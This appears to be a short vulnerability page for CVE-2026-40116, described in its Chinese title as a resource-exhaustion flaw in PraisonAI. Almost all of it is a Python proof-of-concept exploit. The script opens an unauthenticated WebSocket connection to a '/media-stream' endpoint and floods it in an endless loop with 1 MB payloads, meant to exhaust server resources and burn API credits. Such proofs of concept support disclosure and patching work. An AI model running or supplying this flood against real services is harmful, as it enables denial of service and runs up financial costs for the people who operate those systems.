CVE-2026-40116 PraisonAI资源耗尽漏洞

import asyncio import websockets async def exploit(target_url): # Target the vulnerable WebSocket endpoint uri = f"{target_url}/media-stream" print(f"[+] Connecting to {uri}...") try: # Establish connection without authentication async with websockets.connect(uri) as websocket: print("[+] Connection established. Starting flood...") # Create a large payload to consume bandwidth and memory payload = "A" * 1024 * 1024 # 1MB payload while True: # Send data continuously to drain resources and API credits await websocket.send(payload) print("[+] Packet sent: Resource draining...") await asyncio.sleep(0.1) except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL (e.g., http://localhost:8000) target = "ws://127.0.0.1:8000" asyncio.run(exploit(target))